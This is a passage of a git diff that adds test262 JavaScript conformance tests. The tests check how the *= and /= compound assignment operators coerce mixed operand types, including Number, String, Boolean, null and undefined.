+x = 1;
+x *= new String("1");
+if (x !== 1) {
+ $ERROR('#4: x = 1; x *= new String("1"); x === 1. Actual: ' + (x));
+}
+
+//CHECK#5
+x = "1";
+x *= new Number(1);
+if (x !== 1) {
+ $ERROR('#5: x = "1"; x *= new Number(1); x === 1. Actual: ' + (x));
+}
+
+//CHECK#6
+x = new Number(1);
+x *= "1";
+if (x !== 1) {
+ $ERROR('#6: x = new Number(1); x *= "1"; x === 1. Actual: ' + (x));
+}
+
+//CHECK#7
+x = new String("1");
+x *= new Number(1);
+if (x !== 1) {
+ $ERROR('#7: x = new String("1"); x *= new Number(1); x === 1. Actual: ' + (x));
+}
+
+//CHECK#8
+x = new Number(1);
+x *= new String("1");
+if (x !== 1) {
+ $ERROR('#8: x = new Number(1); x *= new String("1"); x === 1. Actual: ' + (x));
+}
+
+//CHECK#9
+x = "x";
+x *= 1;
+if (isNaN(x) !== true) {
+ $ERROR('#9: x = "x"; x *= 1; x === Not-a-Number. Actual: ' + (x));
+}
+
+//CHECK#10
+x = 1;
+x *= "x";
+if (isNaN(x) !== true) {
+ $ERROR('#10: x = 1; x *= "x"; x === Not-a-Number. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.1_T2.3.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.1_T2.3.js
new file mode 100644
index 000000000..b796dc5cb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.1_T2.3.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x *= y is the same as the production x = x * y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.1_T2.3.js
+ * @description Type(x) is different from Type(y) and both types vary between Number (primitive or object) and Null
+ */
+
+//CHECK#1
+x = 1;
+x *= null;
+if (x !== 0) {
+ $ERROR('#1: x = 1; x *= null; x === 0. Actual: ' + (x));
+}
+
+//CHECK#2
+x = null;
+x *= 1;
+if (x !== 0) {
+ $ERROR('#2: x = null; x *= 1; x === 0. Actual: ' + (x));
+}
+
+//CHECK#3
+x = new Number(1);
+x *= null;
+if (x !== 0) {
+ $ERROR('#3: x = new Number(1); x *= null; x === 0. Actual: ' + (x));
+}
+
+//CHECK#4
+x = null;
+x *= new Number(1);
+if (x !== 0) {
+ $ERROR('#4: x = null; x *= new Number(1); x === 0. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.1_T2.4.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.1_T2.4.js
new file mode 100644
index 000000000..925d73634
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.1_T2.4.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x *= y is the same as the production x = x * y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.1_T2.4.js
+ * @description Type(x) is different from Type(y) and both types vary between Number (primitive or object) and Undefined
+ */
+
+//CHECK#1
+x = 1;
+x *= undefined;
+if (isNaN(x) !== true) {
+ $ERROR('#1: x = 1; x *= undefined; x === Not-a-Number. Actual: ' + (x));
+}
+
+//CHECK#2
+x = undefined;
+x *= 1;
+if (isNaN(x) !== true) {
+ $ERROR('#2: x = undefined; x *= 1; x === Not-a-Number. Actual: ' + (x));
+}
+
+//CHECK#3
+x = new Number(1);
+x *= undefined;
+if (isNaN(x) !== true) {
+ $ERROR('#3: x = new Number(1); x *= undefined; x === Not-a-Number. Actual: ' + (x));
+}
+
+//CHECK#4
+x = undefined;
+x *= new Number(1);
+if (isNaN(x) !== true) {
+ $ERROR('#4: x = undefined; x *= new Number(1); x === Not-a-Number. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.1_T2.5.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.1_T2.5.js
new file mode 100644
index 000000000..7799377cd
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.1_T2.5.js
@@ -0,0 +1,66 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x *= y is the same as the production x = x * y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.1_T2.5.js
+ * @description Type(x) is different from Type(y) and both types vary between String (primitive or object) amd Boolean (primitive and object)
+ */
+
+//CHECK#1
+x = true;
+x *= "1";
+if (x !== 1) {
+ $ERROR('#1: x = true; x *= "1"; x === 1. Actual: ' + (x));
+}
+
+//CHECK#2
+x = "1";
+x *= true;
+if (x !== 1) {
+ $ERROR('#2: x = "1"; x *= true; x === 1. Actual: ' + (x));
+}
+
+//CHECK#3
+x = new Boolean(true);
+x *= "1";
+if (x !== 1) {
+ $ERROR('#3: x = new Boolean(true); x *= "1"; x === 1. Actual: ' + (x));
+}
+
+//CHECK#4
+x = "1";
+x *= new Boolean(true);
+if (x !== 1) {
+ $ERROR('#4: x = "1"; x *= new Boolean(true); x === 1. Actual: ' + (x));
+}
+
+//CHECK#5
+x = true;
+x *= new String("1");
+if (x !== 1) {
+ $ERROR('#5: x = true; x *= new String("1"); x === 1. Actual: ' + (x));
+}
+
+//CHECK#6
+x = new String("1");
+x *= true;
+if (x !== 1) {
+ $ERROR('#6: x = new String("1"); x *= true; x === 1. Actual: ' + (x));
+}
+
+//CHECK#7
+x = new Boolean(true);
+x *= new String("1");
+if (x !== 1) {
+ $ERROR('#7: x = new Boolean(true); x *= new String("1"); x === 1. Actual: ' + (x));
+}
+
+//CHECK#8
+x = new String("1");
+x *= new Boolean(true);
+if (x !== 1) {
+ $ERROR('#8: x = new String("1"); x *= new Boolean(true); x === 1. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.1_T2.6.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.1_T2.6.js
new file mode 100644
index 000000000..07be01351
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.1_T2.6.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x *= y is the same as the production x = x * y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.1_T2.6.js
+ * @description Type(x) is different from Type(y) and both types vary between primitive String (primitive or object) and Undefined
+ */
+
+//CHECK#1
+x = "1";
+x *= undefined;
+if (isNaN(x) !== true) {
+ $ERROR('#1: x = "1"; x *= undefined; x === Not-a-Number. Actual: ' + (x));
+}
+
+//CHECK#2
+x = undefined;
+x *= "1";
+if (isNaN(x) !== true) {
+ $ERROR('#2: x = undefined; x *= "1"; x === Not-a-Number. Actual: ' + (x));
+}
+
+//CHECK#3
+x = new String("1");
+x *= undefined;
+if (isNaN(x) !== true) {
+ $ERROR('#3: x = new String("1"); x *= undefined; x === Not-a-Number. Actual: ' + (x));
+}
+
+//CHECK#4
+x = undefined;
+x *= new String("1");
+if (isNaN(x) !== true) {
+ $ERROR('#4: x = undefined; x *= new String("1"); x === Not-a-Number. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.1_T2.7.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.1_T2.7.js
new file mode 100644
index 000000000..b0e8eddc4
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.1_T2.7.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x *= y is the same as the production x = x * y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.1_T2.7.js
+ * @description Type(x) is different from Type(y) and both types vary between String (primitive or object) and Null
+ */
+
+//CHECK#1
+x = "1";
+x *= null;
+if (x !== 0) {
+ $ERROR('#1: x = "1"; x *= null; x === 0. Actual: ' + (x));
+}
+
+//CHECK#2
+x = null;
+x *= "1";
+if (x !== 0) {
+ $ERROR('#2: x = null; x *= "1"; x === 0. Actual: ' + (x));
+}
+
+//CHECK#3
+x = new String("1");
+x *= null;
+if (x !== 0) {
+ $ERROR('#3: x = new String("1"); x *= null; x === 0. Actual: ' + (x));
+}
+
+//CHECK#4
+x = null;
+x *= new String("1");
+if (x !== 0) {
+ $ERROR('#4: x = null; x *= new String("1"); x === 0. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.1_T2.8.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.1_T2.8.js
new file mode 100644
index 000000000..dc0adc04c
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.1_T2.8.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x *= y is the same as the production x = x * y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.1_T2.8.js
+ * @description Type(x) is different from Type(y) and both types vary between Boolean (primitive or object) and Undefined
+ */
+
+//CHECK#1
+x = true;
+x *= undefined;
+if (isNaN(x) !== true) {
+ $ERROR('#1: x = true; x *= undefined; x === Not-a-Number. Actual: ' + (x));
+}
+
+//CHECK#2
+x = undefined;
+x *= true;
+if (isNaN(x) !== true) {
+ $ERROR('#2: x = undefined; x *= true; x === Not-a-Number. Actual: ' + (x));
+}
+
+//CHECK#3
+x = new Boolean(true);
+x *= undefined;
+if (isNaN(x) !== true) {
+ $ERROR('#3: x = new Boolean(true); x *= undefined; x === Not-a-Number. Actual: ' + (x));
+}
+
+//CHECK#4
+x = undefined;
+x *= new Boolean(true);
+if (isNaN(x) !== true) {
+ $ERROR('#4: x = undefined; x *= new Boolean(true); x === Not-a-Number. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.1_T2.9.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.1_T2.9.js
new file mode 100644
index 000000000..0a7443afe
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.1_T2.9.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x *= y is the same as the production x = x * y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.1_T2.9.js
+ * @description Type(x) is different from Type(y) and both types vary between Boolean (primitive or object) and Null
+ */
+
+//CHECK#1
+x = true;
+x *= null;
+if (x !== 0) {
+ $ERROR('#1: x = true; x *= null; x === 0. Actual: ' + (x));
+}
+
+//CHECK#2
+x = null;
+x *= true;
+if (x !== 0) {
+ $ERROR('#2: x = null; x *= true; x === 0. Actual: ' + (x));
+}
+
+//CHECK#3
+x = new Boolean(true);
+x *= null;
+if (x !== 0) {
+ $ERROR('#3: x = new Boolean(true); x *= null; x === 0. Actual: ' + (x));
+}
+
+//CHECK#4
+x = null;
+x *= new Boolean(true);
+if (x !== 0) {
+ $ERROR('#4: x = null; x *= new Boolean(true); x === 0. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.2_T1.1.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.2_T1.1.js
new file mode 100644
index 000000000..da1ab4cdf
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.2_T1.1.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x /= y is the same as x = x / y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.2_T1.1.js
+ * @description Type(x) and Type(y) vary between primitive boolean and Boolean object
+ */
+
+//CHECK#1
+x = true;
+x /= true;
+if (x !== 1) {
+ $ERROR('#1: x = true; x /= true; x === 1. Actual: ' + (x));
+}
+
+//CHECK#2
+x = new Boolean(true);
+x /= true;
+if (x !== 1) {
+ $ERROR('#2: x = new Boolean(true); x /= true; x === 1. Actual: ' + (x));
+}
+
+//CHECK#3
+x = true;
+x /= new Boolean(true);
+if (x !== 1) {
+ $ERROR('#3: x = true; x /= new Boolean(true); x === 1. Actual: ' + (x));
+}
+
+//CHECK#4
+x = new Boolean(true);
+x /= new Boolean(true);
+if (x !== 1) {
+ $ERROR('#4: x = new Boolean(true); x /= new Boolean(true); x === 1. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.2_T1.2.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.2_T1.2.js
new file mode 100644
index 000000000..3287c7c78
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.2_T1.2.js
@@ -0,0 +1,39 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x /= y is the same as x = x / y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.2_T1.2.js
+ * @description Type(x) and Type(y) vary between primitive number and Number object
+ */
+
+//CHECK#1
+x = 1;
+x /= 1;
+if (x !== 1) {
+ $ERROR('#1: x = 1; x /= 1; x === 1. Actual: ' + (x));
+}
+
+//CHECK#2
+x = new Number(1);
+x /= 1;
+if (x !== 1) {
+ $ERROR('#2: x = new Number(1); x /= 1; x === 1. Actual: ' + (x));
+}
+
+//CHECK#3
+x = 1;
+x /= new Number(1);
+if (x !== 1) {
+ $ERROR('#3: x = 1; x /= new Number(1); x === 1. Actual: ' + (x));
+}
+
+//CHECK#4
+x = new Number(1);
+x /= new Number(1);
+if (x !== 1) {
+ $ERROR('#4: x = new Number(1); x /= new Number(1); x === 1. Actual: ' + (x));
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.2_T1.3.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.2_T1.3.js
new file mode 100644
index 000000000..d327257ff
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.2_T1.3.js
@@ -0,0 +1,52 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x /= y is the same as x = x / y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.2_T1.3.js
+ * @description Type(x) and Type(y) vary between primitive string and String object
+ */
+
+//CHECK#1
+x = "1";
+x /= "1";
+if (x !== 1) {
+ $ERROR('#1: x = "1"; x /= "1"; x === 1. Actual: ' + (x));
+}
+
+//CHECK#2
+x = new String("1");
+x /= "1";
+if (x !== 1) {
+ $ERROR('#2: x = new String("1"); x /= "1"; x === 1. Actual: ' + (x));
+}
+
+//CHECK#3
+x = "1";
+x /= new String("1");
+if (x !== 1) {
+ $ERROR('#3: x = "1"; x /= new String("1"); x === 1. Actual: ' + (x));
+}
+
+//CHECK#4
+x = new String("1");
+x /= new String("1");
+if (x !== 1) {
+ $ERROR('#4: x = new String("1"); x /= new String("1"); x === 1. Actual: ' + (x));
+}
+
+//CHECK#5
+x = "x";
+x /= "1";
+if (isNaN(x) !== true) {
+ $ERROR('#5: x = "x"; x /= "1"; x === Not-a-Number. Actual: ' + (x));
+}
+
+//CHECK#6
+x = "1";
+x /= "x";
+if (isNaN(x) !== true) {
+ $ERROR('#6: x = "1"; x /= "x"; x === Not-a-Number. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.2_T1.4.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.2_T1.4.js
new file mode 100644
index 000000000..e97535c94
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.2_T1.4.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x /= y is the same as x = x / y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.2_T1.4.js
+ * @description Type(x) and Type(y) vary between Null and Undefined
+ */
+
+//CHECK#1
+x = null;
+x /= undefined;
+if (isNaN(x) !== true) {
+ $ERROR('#1: x = null; x /= undefined; x === Not-a-Number. Actual: ' + (x));
+}
+
+//CHECK#2
+x = undefined;
+x /= null;
+if (isNaN(x) !== true) {
+ $ERROR('#2: x = undefined; x /= null; x === Not-a-Number. Actual: ' + (x));
+}
+
+//CHECK#3
+x = undefined;
+x /= undefined;
+if (isNaN(x) !== true) {
+ $ERROR('#3: x = undefined; x /= undefined; x === Not-a-Number. Actual: ' + (x));
+}
+
+//CHECK#4
+x = null;
+x /= null;
+if (isNaN(x) !== true) {
+ $ERROR('#4: x = null; x /= null; x === Not-a-Number. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.2_T2.1.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.2_T2.1.js
new file mode 100644
index 000000000..46eae946e
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.2_T2.1.js
@@ -0,0 +1,66 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x /= y is the same as x = x / y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.2_T2.1.js
+ * @description Type(x) is different from Type(y) and both types vary between Number (primitive or object) and Boolean (primitive and object)
+ */
+
+//CHECK#1
+x = true;
+x /= 1;
+if (x !== 1) {
+ $ERROR('#1: x = true; x /= 1; x === 1. Actual: ' + (x));
+}
+
+//CHECK#2
+x = 1;
+x /= true;
+if (x !== 1) {
+ $ERROR('#2: x = 1; x /= true; x === 1. Actual: ' + (x));
+}
+
+//CHECK#3
+x = new Boolean(true);
+x /= 1;
+if (x !== 1) {
+ $ERROR('#3: x = new Boolean(true); x /= 1; x === 1. Actual: ' + (x));
+}
+
+//CHECK#4
+x = 1;
+x /= new Boolean(true);
+if (x !== 1) {
+ $ERROR('#4: x = 1; x /= new Boolean(true); x === 1. Actual: ' + (x));
+}
+
+//CHECK#5
+x = true;
+x /= new Number(1);
+if (x !== 1) {
+ $ERROR('#5: x = true; x /= new Number(1); x === 1. Actual: ' + (x));
+}
+
+//CHECK#6
+x = new Number(1);
+x /= true;
+if (x !== 1) {
+ $ERROR('#6: x = new Number(1); x /= true; x === 1. Actual: ' + (x));
+}
+
+//CHECK#7
+x = new Boolean(true);
+x /= new Number(1);
+if (x !== 1) {
+ $ERROR('#7: x = new Boolean(true); x /= new Number(1); x === 1. Actual: ' + (x));
+}
+
+//CHECK#8
+x = new Number(1);
+x /= new Boolean(true);
+if (x !== 1) {
+ $ERROR('#8: x = new Number(1); x /= new Boolean(true); x === 1. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.2_T2.2.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.2_T2.2.js
new file mode 100644
index 000000000..8a607b515
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.2_T2.2.js
@@ -0,0 +1,80 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x /= y is the same as x = x / y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.2_T2.2.js
+ * @description Type(x) is different from Type(y) and both types vary between Number (primitive or object) and String (primitive and object)
+ */
+
+//CHECK#1
+x = "1";
+x /= 1;
+if (x !== 1) {
+ $ERROR('#1: x = "1"; x /= 1; x === 1. Actual: ' + (x));
+}
+
+//CHECK#2
+x = 1;
+x /= "1";
+if (x !== 1) {
+ $ERROR('#2: x = 1; x /= "1"; x === 1. Actual: ' + (x));
+}
+
+//CHECK#3
+x = new String("1");
+x /= 1;
+if (x !== 1) {
+ $ERROR('#3: x = new String("1"); x /= 1; x === 1. Actual: ' + (x));
+}
+
+//CHECK#4
+x = 1;
+x /= new String("1");
+if (x !== 1) {
+ $ERROR('#4: x = 1; x /= new String("1"); x === 1. Actual: ' + (x));
+}
+
+//CHECK#5
+x = "1";
+x /= new Number(1);
+if (x !== 1) {
+ $ERROR('#5: x = "1"; x /= new Number(1); x === 1. Actual: ' + (x));
+}
+
+//CHECK#6
+x = new Number(1);
+x /= "1";
+if (x !== 1) {
+ $ERROR('#6: x = new Number(1); x /= "1"; x === 1. Actual: ' + (x));
+}
+
+//CHECK#7
+x = new String("1");
+x /= new Number(1);
+if (x !== 1) {
+ $ERROR('#7: x = new String("1"); x /= new Number(1); x === 1. Actual: ' + (x));
+}
+
+//CHECK#8
+x = new Number(1);
+x /= new String("1");
+if (x !== 1) {
+ $ERROR('#8: x = new Number(1); x /= new String("1"); x === 1. Actual: ' + (x));
+}
+
+//CHECK#9
+x = "x";
+x /= 1;
+if (isNaN(x) !== true) {
+ $ERROR('#9: x = "x"; x /= 1; x === Not-a-Number. Actual: ' + (x));
+}
+
+//CHECK#10
+x = 1;
+x /= "x";
+if (isNaN(x) !== true) {
+ $ERROR('#10: x = 1; x /= "x"; x === Not-a-Number. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.2_T2.3.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.2_T2.3.js
new file mode 100644
index 000000000..dae7a092a
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.2_T2.3.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x /= y is the same as x = x / y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.2_T2.3.js
+ * @description Type(x) is different from Type(y) and both types vary between Number (primitive or object) and Null
+ */
+
+//CHECK#1
+x = 1;
+x /= null;
+if (x !== Number.POSITIVE_INFINITY) {
+ $ERROR('#1: x = 1; x /= null; x === +Infinity. Actual: ' + (x));
+}
+
+//CHECK#2
+x = null;
+x /= 1;
+if (x !== 0) {
+ $ERROR('#2: x = null; x /= 1; x === 0. Actual: ' + (x));
+}
+
+//CHECK#3
+x = new Number(1);
+x /= null;
+if (x !== Number.POSITIVE_INFINITY) {
+ $ERROR('#3: x = new Number(1); x /= null; x === +Infinity. Actual: ' + (x));
+}
+
+//CHECK#4
+x = null;
+x /= new Number(1);
+if (x !== 0) {
+ $ERROR('#4: x = null; x /= new Number(1); x === 0. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.2_T2.4.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.2_T2.4.js
new file mode 100644
index 000000000..28c6d611d
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.2_T2.4.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x /= y is the same as x = x / y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.2_T2.4.js
+ * @description Type(x) is different from Type(y) and both types vary between Number (primitive or object) and Undefined
+ */
+
+//CHECK#1
+x = 1;
+x /= undefined;
+if (isNaN(x) !== true) {
+ $ERROR('#1: x = 1; x /= undefined; x === Not-a-Number. Actual: ' + (x));
+}
+
+//CHECK#2
+x = undefined;
+x /= 1;
+if (isNaN(x) !== true) {
+ $ERROR('#2: x = undefined; x /= 1; x === Not-a-Number. Actual: ' + (x));
+}
+
+//CHECK#3
+x = new Number(1);
+x /= undefined;
+if (isNaN(x) !== true) {
+ $ERROR('#3: x = new Number(1); x /= undefined; x === Not-a-Number. Actual: ' + (x));
+}
+
+//CHECK#4
+x = undefined;
+x /= new Number(1);
+if (isNaN(x) !== true) {
+ $ERROR('#4: x = undefined; x /= new Number(1); x === Not-a-Number. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.2_T2.5.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.2_T2.5.js
new file mode 100644
index 000000000..f4ea9ad5f
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.2_T2.5.js
@@ -0,0 +1,66 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x /= y is the same as x = x / y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.2_T2.5.js
+ * @description Type(x) is different from Type(y) and both types vary between String (primitive or object) and Boolean (primitive and object)
+ */
+
+//CHECK#1
+x = true;
+x /= "1";
+if (x !== 1) {
+ $ERROR('#1: x = true; x /= "1"; x === 1. Actual: ' + (x));
+}
+
+//CHECK#2
+x = "1";
+x /= true;
+if (x !== 1) {
+ $ERROR('#2: x = "1"; x /= true; x === 1. Actual: ' + (x));
+}
+
+//CHECK#3
+x = new Boolean(true);
+x /= "1";
+if (x !== 1) {
+ $ERROR('#3: x = new Boolean(true); x /= "1"; x === 1. Actual: ' + (x));
+}
+
+//CHECK#4
+x = "1";
+x /= new Boolean(true);
+if (x !== 1) {
+ $ERROR('#4: x = "1"; x /= new Boolean(true); x === 1. Actual: ' + (x));
+}
+
+//CHECK#5
+x = true;
+x /= new String("1");
+if (x !== 1) {
+ $ERROR('#5: x = true; x /= new String("1"); x === 1. Actual: ' + (x));
+}
+
+//CHECK#6
+x = new String("1");
+x /= true;
+if (x !== 1) {
+ $ERROR('#6: x = new String("1"); x /= true; x === 1. Actual: ' + (x));
+}
+
+//CHECK#7
+x = new Boolean(true);
+x /= new String("1");
+if (x !== 1) {
+ $ERROR('#7: x = new Boolean(true); x /= new String("1"); x === 1. Actual: ' + (x));
+}
+
+//CHECK#8
+x = new String("1");
+x /= new Boolean(true);
+if (x !== 1) {
+ $ERROR('#8: x = new String("1"); x /= new Boolean(true); x === 1. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.2_T2.6.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.2_T2.6.js
new file mode 100644
index 000000000..91ce4dd2b
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.2_T2.6.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x /= y is the same as x = x / y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.2_T2.6.js
+ * @description Type(x) is different from Type(y) and both types vary between String (primitive or object) and Undefined
+ */
+
+//CHECK#1
+x = "1";
+x /= undefined;
+if (isNaN(x) !== true) {
+ $ERROR('#1: x = "1"; x /= undefined; x === Not-a-Number. Actual: ' + (x));
+}
+
+//CHECK#2
+x = undefined;
+x /= "1";
+if (isNaN(x) !== true) {
+ $ERROR('#2: x = undefined; x /= "1"; x === Not-a-Number. Actual: ' + (x));
+}
+
+//CHECK#3
+x = new String("1");
+x /= undefined;
+if (isNaN(x) !== true) {
+ $ERROR('#3: x = new String("1"); x /= undefined; x === Not-a-Number. Actual: ' + (x));
+}
+
+//CHECK#4
+x = undefined;
+x /= new String("1");
+if (isNaN(x) !== true) {
+ $ERROR('#4: x = undefined; x /= new String("1"); x === Not-a-Number. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.2_T2.7.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.2_T2.7.js
new file mode 100644
index 000000000..99905f4d9
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.2_T2.7.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x /= y is the same as x = x / y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.2_T2.7.js
+ * @description Type(x) is different from Type(y) and both types vary between String (primitive or object) and Null
+ */
+
+//CHECK#1
+x = "1";
+x /= null;
+if (x !== Number.POSITIVE_INFINITY) {
+ $ERROR('#1: x = "1"; x /= null; x === +Infinity. Actual: ' + (x));
+}
+
+//CHECK#2
+x = null;
+x /= "1";
+if (x !== 0) {
+ $ERROR('#2: x = null; x /= "1"; x === 0. Actual: ' + (x));
+}
+
+//CHECK#3
+x = new String("1");
+x /= null;
+if (x !== Number.POSITIVE_INFINITY) {
+ $ERROR('#3: x = new String("1"); x /= null; x === +Infinity. Actual: ' + (x));
+}
+
+//CHECK#4
+x = null;
+x /= new String("1");
+if (x !== 0) {
+ $ERROR('#4: x = null; x /= new String("1"); x === 0. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.2_T2.8.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.2_T2.8.js
new file mode 100644
index 000000000..c5c373b76
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.2_T2.8.js
